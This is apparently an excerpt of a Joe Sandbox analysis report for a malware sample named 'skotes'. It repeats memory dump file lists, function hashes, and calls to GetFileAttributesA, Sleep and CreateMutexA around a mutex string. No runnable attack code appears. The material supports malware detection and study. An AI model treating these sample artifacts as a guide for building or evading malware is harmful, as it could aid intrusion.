Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2,
API String ID: 396266464-1264347116
Opcode ID: f10e68a2325ea2e5fb04192d46b0ee817ac403bb0d55f3b8290cca4692ce1c16
Instruction ID: b820bc61c63e395e4af7b94edb0ba652581e89bc492db70d5f7585471da27879
Opcode Fuzzy Hash: f10e68a2325ea2e5fb04192d46b0ee817ac403bb0d55f3b8290cca4692ce1c16
Instruction Fuzzy Hash: AB312A316201008BEB18DF78D8C87ADB776EF85310F208619E018EB6D5CB76A9E08B52

Function 0026A079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0026A07C
Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2,
API String ID: 396266464-1264347116
Opcode ID: 73a81a44986fa07ac5301e258f38f1878a92f5e0972086d4bf8e609ef65779a1
Instruction ID: 3d52af9dfb93094512ebc2e5aa9dbab4910c1b82ea8f2538665b163e80f914b2
Opcode Fuzzy Hash: 73a81a44986fa07ac5301e258f38f1878a92f5e0972086d4bf8e609ef65779a1
Instruction Fuzzy Hash: B33148317211009BEF08DF78DC89B6DB776EF86314F208619E019BB3D5C776A9E08A52

Function 0026A1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0026A1B1
Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2,
API String ID: 396266464-1264347116
Opcode ID: 9183dac902bb163a8cbbc673ad742d87180640ce538b12785fe687f67a69b917
Instruction ID: 616d742121b579cab8a70dfa52e7f540805244c1a09d4546013bbf61aab2bb09
Opcode Fuzzy Hash: 9183dac902bb163a8cbbc673ad742d87180640ce538b12785fe687f67a69b917
Instruction Fuzzy Hash: 693179317201019BEB08DF78DCC8B6DB776EF86310F208618E408BB2D5C776A9E08B12

Function 0026A2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0026A2E6
Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2,
API String ID: 396266464-1264347116
Opcode ID: 758372b0ffe938690345464c239fd4fb16187d7e362c19ea7317a20140b132c8
Instruction ID: 6efc803e9868bbd49a6179653c5d5cf10ad626bb47f9a0bacc722b930d76f05d
Opcode Fuzzy Hash: 758372b0ffe938690345464c239fd4fb16187d7e362c19ea7317a20140b132c8
Instruction Fuzzy Hash: 75314A316601409BEF08DF78DC8876CB776AB85314F208658E419BB3D5C776A9E08B12

Function 0026A418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0026A41B
Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2,
API String ID: 396266464-1264347116
Opcode ID: 2cf028420ffcfb6497d69969be989ed709cd26c8ff0ec0139fad4c009c3f4a5d
Instruction ID: 847653680cbdc77a372b17339b0754a5d1f3d6f3ca9e3ab1dd9009398eb32250
Opcode Fuzzy Hash: 2cf028420ffcfb6497d69969be989ed709cd26c8ff0ec0139fad4c009c3f4a5d
Instruction Fuzzy Hash: 5C314A316201019BEB08DF78DCCDB6DB775EF85314F208619E055AB2D5CBB5A9E08E52

Function 0026A54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0026A550
Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
